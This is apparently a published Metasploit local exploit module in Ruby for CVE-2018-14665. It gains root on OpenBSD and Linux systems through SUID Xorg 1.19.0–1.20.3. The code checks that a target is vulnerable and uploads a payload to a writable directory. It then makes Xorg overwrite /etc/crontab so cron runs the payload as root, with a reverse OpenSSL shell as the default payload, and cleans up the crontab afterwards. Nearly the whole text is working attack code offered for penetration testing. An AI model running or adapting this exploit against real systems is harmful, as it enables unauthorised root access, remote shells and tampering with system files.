This Metasploit module attempts to gain root privileges with SUID Xorg X11 server versions 1.19.0 up to 1.20.3. A permission check flaw exists for -modulepath and -logfile options when starting Xorg. This allows unprivileged users that can start the server the ability to elevate privileges and run arbitrary code under root privileges. This Metasploit module has been tested with OpenBSD 6.3, 6.4, and CentOS 7 (1708). CentOS default install will require console auth for the users session. Cron launches the payload so if Selinux is enforcing exploitation may still be possible, but the module will bail. Xorg must have SUID permissions and may not start if running. On exploitation a crontab.old backup file will be created by Xorg. This Metasploit module will remove the .old file and restore crontab after successful exploitation. Failed exploitation may result in a corrupted crontab. On successful exploitation artifacts will be created consistent with starting Xorg and running a cron.
3bc1656931b4d8bbac2d3b28656c2582##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
def initialize(info = {})
super(update_info(info,
'Name' => 'Xorg X11 Server SUID privilege escalation',
'Description' => %q{
This module attempts to gain root privileges with SUID Xorg X11 server
versions 1.19.0 < 1.20.3.
A permission check flaw exists for -modulepath and -logfile options when
starting Xorg. This allows unprivileged users that can start the server
the ability to elevate privileges and run arbitrary code under root
privileges.
This module has been tested with OpenBSD 6.3, 6.4, and CentOS 7 (1708).
CentOS default install will require console auth for the users session.
Cron launches the payload so if Selinux is enforcing exploitation
may still be possible, but the module will bail.
Xorg must have SUID permissions and may not start if running.
On exploitation a crontab.old backup file will be created by Xorg.
This module will remove the .old file and restore crontab after
successful exploitation. Failed exploitation may result in a corrupted
crontab. On successful exploitation artifacts will be created consistant
with starting Xorg and running a cron.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Narendra Shinde', # Discovery and exploit
'Raptor - 0xdea', # Modified exploit for cron
'Aaron Ringo', # Metasploit module
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit module
],
'DisclosureDate' => 'Oct 25 2018',
'References' =>
[
[ 'CVE', '2018-14665' ],
[ 'BID', '105741' ],
[ 'EDB', '45697' ],
[ 'EDB', '45742' ],
[ 'EDB', '45832' ],
[ 'URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html' ],
[ 'URL', 'https://github.com/0xdea/exploits/blob/master/openbsd/raptor_xorgasm' ]
],
'Platform' => %w[openbsd linux],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'SessionTypes' => %w[shell meterpreter],
'Targets' =>
[
['OpenBSD', {
'Platform' => 'unix',
'Arch' => [ ARCH_CMD ] } ],
['Linux x64', {
'Platform' => 'linux',
'Arch' => [ ARCH_X64 ] } ],
['Linux x86', {
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ] } ]
],
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/reverse_openssl',
'WfsDelay' => 120
},
'DefaultTarget' => 0))
register_advanced_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('Xdisplay', [ true, 'Display exploit will attempt to use', ':1' ]),
OptBool.new('ConsoleLock', [ true, 'Will check for console lock under linux', true ])
]
)
end
def check
# linux checks
uname = cmd_exec "uname"
if uname =~ /linux/i
vprint_status "Running additional check for Linux"
if datastore['ConsoleLock']
user = cmd_exec "id -un"
unless exist? "/var/run/console/#{user}"
vprint_error "No console lock for #{user}"
return CheckCode::Safe
end
vprint_good "Console lock for #{user}"
end
if selinux_installed?
if selinux_enforcing?
vprint_error 'Selinux is enforcing'
return CheckCode::Safe
end
end
vprint_good "Selinux is not an issue"
end
# suid program check
xorg_path = cmd_exec "command -v Xorg"
unless xorg_path.include?("Xorg")
vprint_error "Could not find Xorg executable"
return CheckCode::Safe
end
vprint_good "Xorg path found at #{xorg_path}"
unless setuid? xorg_path
vprint_error "Xorg binary #{xorg_path} is not SUID"
return CheckCode::Safe
end
vprint_good "Xorg binary #{xorg_path} is SUID"
# version check
x_version = cmd_exec "Xorg -version"
if x_version.include?("Release Date")
v = Gem::Version.new(x_version.scan(/\d\.\d+\.\d+/).first)
unless v.between?(Gem::Version.new('1.19.0'), Gem::Version.new('1.20.2'))
vprint_error "Xorg version #{v} not supported"
return CheckCode::Safe
end
elsif x_version.include?("Fatal server error")
vprint_error "User probably does not have console auth"
vprint_error "Below is Xorg -version output"
vprint_error x_version
return CheckCode::Safe
else
vprint_warning "Could not parse Xorg -version output"
return CheckCode::Appears
end
vprint_good "Xorg version #{v} is vulnerable"
# process check for /X
proc_list = cmd_exec "ps ax"
if proc_list.include?('/X ')
vprint_warning('Xorg in process list')
return CheckCode::Appears
end
vprint_good('Xorg does not appear running')
return CheckCode::Vulnerable
end
def on_new_session(session)
if session.type.to_s.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.sys.process.execute '/bin/sh', "-c \"#{@clean_up}\""
else
session.shell_command(@clean_up)
end
print_good "Returning session after cleaning"
ensure
super
end
def exploit
check_status = check
if check_status == CheckCode::Appears
print_warning 'Could not get version or Xorg process possibly running, may fail'
elsif check_status == CheckCode::Safe
fail_with Failure::NotVulnerable, 'Target not vulnerable'
end
if is_root?
fail_with Failure::BadConfig, 'This session already has root privileges'
end
unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end
print_good 'Passed all initial checks for exploit'
pscript = "#{datastore['WritableDir']}/.session-#{rand_text_alphanumeric 5..10}"
@clean_up = "/bin/cat #{pscript}.b > /etc/crontab ; /bin/rm -f #{pscript}.b /etc/crontab.old"
xdisplay = datastore['Xdisplay']
# Uploading file crontab will run
print_status 'Uploading your payload, this could take a while'
if payload.arch.first == 'cmd'
write_file(pscript, payload.encoded)
else
write_file(pscript, generate_payload_exe)
end
register_file_for_cleanup pscript
chmod pscript
# Exploit steps on crontab so backing it up
cmd_exec "cat /etc/crontab > #{pscript}.b"
# Actual exploit with cron overwrite
print_status 'Trying /etc/crontab overwrite'
cmd_exec "cd /etc ; Xorg -fp '* * * * * root #{pscript}' -logfile crontab #{xdisplay} & >/dev/null"
Rex.sleep 5
cmd_exec "pkill Xorg"
Rex.sleep 1
cron_check = cmd_exec "grep -F #{pscript} /etc/crontab"
unless cron_check.include? pscript
rm_f "#{pscript}.b"
print_error 'Deleting crontab backup'
fail_with Failure::NotVulnerable, '/etc/crontab not modified'
end
print_good '/etc/crontab overwrite successful. Waiting for job to run (may take a minute)...'
end
end